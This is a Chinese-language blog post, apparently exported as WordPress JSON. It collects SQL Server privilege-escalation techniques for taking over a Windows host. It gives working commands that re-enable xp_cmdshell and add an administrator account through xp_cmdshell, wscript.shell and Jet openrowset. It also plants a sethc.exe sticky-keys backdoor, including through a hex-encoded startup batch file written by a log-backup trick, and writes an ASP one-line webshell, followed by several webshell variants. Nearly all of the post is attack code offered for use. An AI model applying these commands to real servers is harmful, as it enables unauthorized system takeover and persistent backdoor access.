\u5f97\u5230SQLserver\u7684\u6743\u9650\uff0c\u60f3\u8fdb\u4e00\u6b65\u5f97\u5230system\u6743\u9650\u7684\u65b9\u6cd5\u603b\u7ed3
\n*************************** \u5229\u7528xp_cmdshell ***********************************
\n\u4e00.\u66f4\u6539sa\u53e3\u4ee4\u65b9\u6cd5\uff1a
\n\u7528sql\u7efc\u5408\u5229\u7528\u5de5\u5177\u8fde\u63a5\u540e\uff0c\u6267\u884c\u547d\u4ee4\uff1a
\nexec sp_password NULL,'\u65b0\u5bc6\u7801','sa'
\n(\u63d0\u793a\uff1a\u614e\u7528!)
\n\u4e8c.\u7b80\u5355\u4fee\u8865sa\u5f31\u53e3\u4ee4.
\n\u65b9\u6cd51:\u67e5\u8be2\u5206\u79bb\u5668\u8fde\u63a5\u540e\u6267\u884c\uff1a
\nif exists (select * from
\ndbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
\nOBJECTPROPERTY(id, N'IsExtendedProc') = 1)
\nexec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
\n\u7136\u540e\u6309F5\u952e\u547d\u4ee4\u6267\u884c\u5b8c\u6bd5
\n\u65b9\u6cd52:\u67e5\u8be2\u5206\u79bb\u5668\u8fde\u63a5\u540e
\n\u7b2c\u4e00\u6b65\u6267\u884c\uff1ause master
\n\u7b2c\u4e8c\u6b65\u6267\u884c\uff1asp_dropextendedproc 'xp_cmdshell'
\n\u7136\u540e\u6309F5\u952e\u547d\u4ee4\u6267\u884c\u5b8c\u6bd5
\n\u4e09.\u6062\u590dxp_cmdshell
\n\u7b80\u5355\u6062\u590dxp_cmdshell
\n;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'–
\n1.\u672a\u80fd\u627e\u5230\u5b58\u50a8\u8fc7\u7a0b'master..xpcmdshell'.
\n\u6062\u590d\u65b9\u6cd5\uff1a\u67e5\u8be2\u5206\u79bb\u5668\u8fde\u63a5\u540e,
\n\u7b2c\u4e00\u6b65\u6267\u884c:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
\n\u7b2c\u4e8c\u6b65\u6267\u884c:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
\n\u7136\u540e\u6309F5\u952e\u547d\u4ee4\u6267\u884c\u5b8c\u6bd5
\n2.\u65e0\u6cd5\u88c5\u8f7d DLL xpsql70.dll \u6216\u8be5DLL\u6240\u5f15\u7528\u7684\u67d0\u4e00DLL\u3002\u539f\u56e0126(\u627e\u4e0d\u5230\u6307\u5b9a\u6a21\u5757)
\n\u6062\u590d\u65b9\u6cd5\uff1a\u67e5\u8be2\u5206\u79bb\u5668\u8fde\u63a5\u540e,
\n\u7b2c\u4e00\u6b65\u6267\u884c\uff1asp_dropextendedproc "xp_cmdshell"
\n\u7b2c\u4e8c\u6b65\u6267\u884c\uff1asp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
\n\u7136\u540e\u6309F5\u952e\u547d\u4ee4\u6267\u884c\u5b8c\u6bd5
\n3.\u65e0\u6cd5\u5728\u5e93 xpweb70.dll \u4e2d\u627e\u5230\u51fd\u6570 xp_cmdshell\u3002\u539f\u56e0: 127(\u627e\u4e0d\u5230\u6307\u5b9a\u7684\u7a0b\u5e8f)
\n\u6062\u590d\u65b9\u6cd5\uff1a\u67e5\u8be2\u5206\u79bb\u5668\u8fde\u63a5\u540e,
\n\u7b2c\u4e00\u6b65\u6267\u884c:exec sp_dropextendedproc 'xp_cmdshell'
\n\u7b2c\u4e8c\u6b65\u6267\u884c:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
\n\u7136\u540e\u6309F5\u952e\u547d\u4ee4\u6267\u884c\u5b8c\u6bd5
\n\u56db\u3001\u5229\u7528xp_cmdshell
\nexec master..xp_cmdshell 'ver'
\nexec master.dbo.xp_cmdshell 'net user test test \/add'
\nexec master.dbo.xp_cmdshell 'net localgroup administrators test \/add'
\n\u4e94.SQL Server2005\u5728\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u4e00\u4e9b\u5b58\u50a8\u8fc7\u7a0b\u662f\u5173\u95ed\u7740\u7684\uff0c\u9700\u8981\u547d\u4ee4\u6253\u5f00
\n\u5f00\u542fxp_cmdshell:
\nexec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE;
\n\u5173\u95edxp_cmdshell:
\nexec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 0;RECONFIGURE;
\n\u5f00\u542f'OPENROWSET':
\nexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure'Ad Hoc Distributed Queries',1;RECONFIGURE;
\n\u5f00\u542f'sp_oacreate':
\nexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure'Ole Automation Procedures',1;RECONFIGURE;
\n******************************* \u5229\u7528wscript.shell *****************************************
\n\u4f7f\u7528wscript.shell\u76f4\u63a5\u6dfb\u52a0\u7cfb\u7edf\u5e10\u6237:
\n\u67e5\u8be2\u5206\u79bb\u5668\u8fde\u63a5\u540e,xp\u62162003server\u7cfb\u7edf\u4e0b\u4f7f\u7528:
\ndeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe \/c net user \u65b0\u7528\u6237 \u5bc6\u7801 \/add'
\ndeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe \/c net localgroup administrators \u65b0\u7528\u6237 \/add'
\n************************************ \u5229\u7528SQL\u6c99\u76d2\u6a21\u5f0f ********************************
\nnote:\u4ec0\u4e48\u662f\u6c99\u76d2\u6a21\u5f0f?
\n\u6c99\u76d2\u6a21\u5f0f\u662f\u6570\u636e\u5e93\u7684\u4e00\u79cd\u5b89\u5168\u529f\u80fd.\u5728\u6c99\u76d2\u6a21\u5f0f\u4e0b,\u53ea\u5bf9\u63a7\u4ef6\u548c\u5b57\u6bb5\u5c5e\u6027\u4e2d\u7684\u5b89\u5168\u4e14\u4e0d\u542b\u6076\u610f\u4ee3\u7801\u7684\u8868\u8fbe\u5f0f\u6c42\u503c.\u5982\u679c\u8868\u8fbe\u5f0f\u4e0d\u4f7f\u7528\u53ef\u80fd\u4ee5\u67d0\u79cd\u65b9\u5f0f\u635f\u574f\u6570\u636e\u7684\u51fd\u6570\u6216\u5c5e\u6027\uff0c\u5219\u53ef\u8ba4\u4e3a\u5b83\u662f\u5b89\u5168\u7684.
\n\u9996\u5148\u5f00\u542f\u6c99\u76d2\u6a21\u5f0f\uff1a
\nexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Jet\\4.0\\Engines','SandBoxMode','REG_DWORD',0;–
\n\u7136\u540e\u5229\u7528jet.oledb\u6267\u884c\u7cfb\u7edf\u547d\u4ee4
\nselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\\windows\\system32\\ias\\ias.mdb','select shell("cmd.exe \/c net user test 1234 \/add")')
\nselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\\windows\\system32\\ias\\ias.mdb','select shell("cmd.exe \/c net localgroup administrators test \/add")')
\n\u641e\u5b9a ^_^ !
\n******************** sa\u65e0xp_cmdshell\u4e0b\u7684\u63d0\u6743 ***********************
\n\u4ee3\u7801:
\ndeclare @o int
\nexec sp_oacreate 'scripting.filesystemobject', @o out
\nexec sp_oamethod @o, 'copyfile',null,'c:\\windows\\explorer.exe' ,'c:\\windows\\system32\\sethc.exe';
\n\u4ee3\u7801:
\ndeclare @oo int
\nexec sp_oacreate 'scripting.filesystemobject', @oo out
\nexec sp_oamethod @oo, 'copyfile',null,'c:\\windows\\system32\\sethc.exe' ,'c:\\windows\\system32\\dllcache\\sethc.exe';
\n\u6210\u529f\u540e3389\u767b\u9646\u6309\u4e94\u6b21shift\u952e\u3002\u6210\u529f\u8fdb\u5165\u670d\u52a1\u5668\u3002
\n\u4e00\u76f4\u5411\u4e0a\u70b9\u201d\u6211\u7684\u7535\u8111\u201c\u53f3\u952e\u201c\u7ba1\u7406\u201d \u7528\u6237\u7ba1\u7406\u76f4\u63a5\u52a0\u7528\u6237\u3002
\n****************************** \u8d85\u5fc5\u6740:\u5229\u7528db_owner *************************
\n\u5148\u6d4b\u8bd5xp_cmdshell\u662f\u5426\u53ef\u7528
\nexec master..xp_cmdshell 'ver'
\n\u63d0\u793a\u6743\u9650\u62d2\u7edd\uff0cdb_owner\u6743\u9650.
\n\u5229\u7528xp_dirtree\u5217\u76ee\u5f55
\nexec master..xp_dirtree 'c:\\',1,1
\n\u67e5\u770b\u542f\u52a8\u9879
\nexec master..xp_dirtree 'C:\\Documents and Settings\\Administrator\\\u300c\u5f00\u59cb\u300d\u83dc\u5355\\\u7a0b\u5e8f\\\u542f\u52a8',1,1
\n\u5217\u6570\u636e\u5e93
\nSelect DB_NAME()
\n\u5229\u7528url\u6216\u8005sql\u67e5\u8be2\u5668log\u5907\u4efdbat\u6216\u4e00\u53e5\u8bdd
\nalter database [northwind] set RECOVERY FULL–
\ncreate table cmd (a image)–
\nbackup log [northwind] to disk = 'c:\\cmd1' with init–
\ninsert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)–
\nbackup log [northwind] to disk = 'C:\\Documents and Settings\\Administrator\\\u300c\u5f00\u59cb\u300d\u83dc\u5355\\\u7a0b\u5e8f\\\u542f\u52a8\\start.bat'–
\ndrop table cmd–
\n\u518d\u53bb\u67e5\u770b\u4e00\u4e0b\u542f\u52a8\u9879\u5c31\u6709\u4e00\u4e2abat\u4e86
\nexec master..xp_dirtree 'C:\\Documents and Settings\\Administrator\\\u300c\u5f00\u59cb\u300d\u83dc\u5355\\\u7a0b\u5e8f\\\u542f\u52a8',1,1
\n\u6700\u540e,\u7b49\u7740administrator\u91cd\u65b0\u767b\u9646\u6216\u8005\u91cd\u542f\u5c31OK\u4e86!
\nnote:bat\u6587\u4ef6\u662fshift\u811a\u672c\u5c31\u662fshift\u540e\u95e8,\u7528HEX\u8f6c\u768416\u8fdb\u5236,\u53ef\u4fee\u6539\u66ff\u6362.
\n************************ \u5b58\u50a8\u8fc7\u7a0b\u5199\u6587\u4ef6 *************************
\nexec master.dbo.xp_subdirs 'c:\\www\\';
\nexec sp_makewebtask 'c:\\www\\hack.asp','select''<%execute(request("SB"))%>'' '
\ndeclare @o int, @f int, @t int, @ret int
\nexec sp_oacreate 'scripting.filesystemobject', @o out
\nexec sp_oamethod @o, 'createtextfile', @f out, 'c:\\testing.txt', 1
\nexec @ret = sp_oamethod @f, 'writeline', NULL,<<testing>>
\n*********************** \u4e00\u53e5\u8bdd\u8868\u8fbe\u5f0f\u4e3a,\u5bb9\u9519\u6539Execute\u4e3aEval *************
\n<%%25Excute(request("sb"))%%25>
\n<%Excute(request("sb"))%>
\n%><%execute request("sb")%><%
\n<script language=VBscript runat=server>execute request("sb")<\/script>
\n<%25Execute(request("sb"))%25><\/p>\n","protected":false},"excerpt":{"rendered":"
\u5f97\u5230SQLserver\u7684\u6743\u9650\uff0c\u60f3\u8fdb\u4e00\u6b65\u5f97\u5230system\u6743\u9650\u7684\u65b9\u6cd5\u603b\u7ed3 ******************** […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[180,178],"tags":[264],"_links":{"self":[{"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/posts\/164"}],"collection":[{"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=164"}],"version-history":[{"count":1,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/posts\/164\/revisions"}],"predecessor-version":[{"id":265,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/posts\/164\/revisions\/265"}],"wp:attachment":[{"href":"http:\/\/www.huike007.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=164"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=164"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=164"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}